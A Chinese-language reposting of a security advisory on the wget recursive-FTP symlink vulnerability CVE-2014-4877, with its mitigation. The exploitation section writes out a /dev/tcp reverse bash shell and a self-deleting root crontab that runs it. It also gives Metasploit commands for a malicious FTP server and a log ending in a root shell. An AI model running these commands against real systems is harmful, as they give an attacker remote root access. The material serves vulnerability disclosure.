安全圈 | 专注于最新网络信息安全讯息新闻

首页

7蘭特

作者 landy 时间 2020-02-27
all

介紹

GNU Wget是一個命令列實用程式,用於通過HTTP、HTTPS和FTP下載檔案。1.16之前的Wget版本在使用FTP目標以遞迴模式運行時易受符號連結攻擊(CVE-2014-4877)。此漏洞允許運行惡意FTP伺服器的攻擊者在用戶的檔案系統上創建任意檔案、目錄和符號連結。symlink攻擊允許覆蓋檔案內容,包括二進位檔案,並在運行wget的用戶的許可權下訪問整個檔案系統。此漏洞可導致通過系統級向量(如cron)和用戶級向量(如bash設定檔和SSH授權的金鑰)執行遠程程式碼。

脆弱性

當wget接收到一個包含符號連結和同名目錄的目錄清單時,會觸發該漏洞。LIST命令的輸出如下所示,這在真正的FTP伺服器上是不可能的。

lrwxrwxrwx 1 root root 33 Oct 28 2014 TARGET -> / drwxrwxr-x 15 root root 4096 Oct 28 2014 TARGET

Wget首先創建一個名為TARGET的本地符號連結,該符號連結指向根檔案系統。然後它將進入目標目錄並在用戶的檔案系統中鏡像其內容。

陞級至wget 1.16版本或已備份CVE-2014-4877補丁的包。如果您使用的發行版本未附帶wget的修補版本,則可以通過將retr symlinks=on行添加到/etc/wgetrc或~/.wgetrc來緩解此問題。只有在針對FTP伺服器URL以遞迴模式運行wget時,才可利用此問題。儘管HTTP服務可以將wget重定向到FTP URL,但它在執行此重定向後隱式禁用遞迴選項,並且在此場景中不可利用。

retr-symlinks=on /etc/wgetrc ~/.wgetrc

剝削

我們已經發佈了一個Metasploit模塊來演示這個問題。在下麵的示例中,我們演示如何針對以根用戶身份運行wget的用戶獲取針對惡意FTP服務的反向命令shell。本例使用cron守護進程和反向連接bash shell。首先,我們將使用msfpayload創建一個反向連接命令字串。

# msfpayload cmd/unix/reverse_bash LHOST=192.168.0.4 LPORT=4444 R 0<&112-;exec 112<>/dev/tcp/192.168.0.4/4444;sh <&112 >&112 2>&112

接下來,我們創建一個crontab檔案,該檔案每分鐘運行一次,啟動此命令並删除自身:

# cat>cronshell <<EOD PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin * * * * * root bash -c '0<&112-;exec 112<>/dev/tcp/192.168.0.4/4444;sh <&112 >&112 2>&112'; rm -f /etc/cron.d/cronshell EOD

現在,我們啟動msfconsole並配寘一個shell偵聽器:

# msfconsole msf> use exploit/multi/handler msf exploit(handler) > set PAYLOAD cmd/unix/reverse_bash msf exploit(handler) > set LHOST 192.168.0.4 msf exploit(handler) > set LPORT 4444 msf exploit(handler) > run -j [*] Exploit running as background job. [*] Started reverse handler on 192.168.0.4:4444

最後,我們切換到wget模塊本身:

msf exploit(handler) > use auxiliary/server/wget_symlink_file_write msf auxiliary(wget_symlink_file_write) > set TARGET_FILE /etc/cron.d/cronshell msf auxiliary(wget_symlink_file_write) > set TARGET_DATA file:cronshell msf auxiliary(wget_symlink_file_write) > set SRVPORT 21 msf auxiliary(wget_symlink_file_write) > run [+] Targets should run: $ wget -m ftp://192.168.0.4:21/ [*] Server started.

此時,我們只需等待目標用戶運行wget-m ftp://192.168.0.4:21/

wget -m [*] 192.168.0.2:52251 Logged in with user 'anonymous' and password 'anonymous'... [*] 192.168.0.2:52251 -> LIST -a [*] 192.168.0.2:52251 -> CWD /1X9ftwhI7G1ENa [*] 192.168.0.2:52251 -> LIST -a [*] 192.168.0.2:52251 -> RETR cronshell [+] 192.168.0.2:52251 Hopefully wrote 186 bytes to /etc/cron.d/cronshell [*] Command shell session 1 opened (192.168.0.4:4444 -> 192.168.0.2:58498) at 2014-10-27 23:19:02 -0500 msf auxiliary(wget_symlink_file_write) > sessions -i 1 [*] Starting interaction with 1... id uid=0(root) gid=0(root) groups=0(root),1001(rvm)

披露時間表

該問題由Rapid7的HD Moore發現,並向Wget和CERT/CC的上游供應商披露,詳情如下: